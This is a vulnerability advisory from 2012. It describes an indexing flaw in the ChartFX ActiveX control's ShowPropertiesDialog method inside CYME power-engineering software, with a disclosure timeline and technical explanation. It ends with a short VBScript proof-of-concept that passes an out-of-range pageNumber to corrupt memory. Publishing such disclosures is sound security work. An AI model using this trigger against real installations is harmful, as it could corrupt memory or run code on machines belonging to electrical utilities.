Cyme ChartFX Client Server – ActiveX Control Array Indexing
##################################################################################### Application: CYME Power Engineering Software Platforms: Windows Version: CYME version 5.0.12.663. Secunia: SA48430 {PRL}: 2012-29 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ##################################################################################### =============== 1) Introduction =============== The CYME Power Engineering software is a suite of applications composed of a network editor, analysis modules and user-customizable model libraries from which you can choose to get the most powerful solution. The modules available comprise a variety of advanced applications and extensive libraries for either transmission/industrial or distribution power network analysis. (http://www.cyme.com/software/) This software is use by all major electrical production/distrubtion company http://www.cyme.com/company/clients/ ##################################################################################### ============================ 2) Report Timeline ============================ 2012-03-14 Vulnerability reported to Secunia 2012-10-03 Publication of this advisory (180 Days) ##################################################################################### ============================ 3) Technical details ============================ The vulnerability is caused due to an indexing error in the "ShowPropertiesDialog()" method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be exploited to write a single byte value to an arbitrary memory location via the "pageNumber" parameter. Successful exploitation may allow execution of arbitrary code. ##################################################################################### =========== 4) The Code =========== <object classid='clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C' id='target' /> <script language='vbscript'> targetFile = "C:\CYME\CYMDIST50TRIAL\ChartFX.ClientServer.Core.dll" prototype = "Sub ShowPropertiesDialog ( ByVal context As Variant , ByVal pageNumber As Long )" memberName = "ShowPropertiesDialog" progid = "Cfx62ClientServer.Chart" argCount = 2 arg1="defaultV" arg2=2147483647 target.ShowPropertiesDialog arg1 ,arg2 |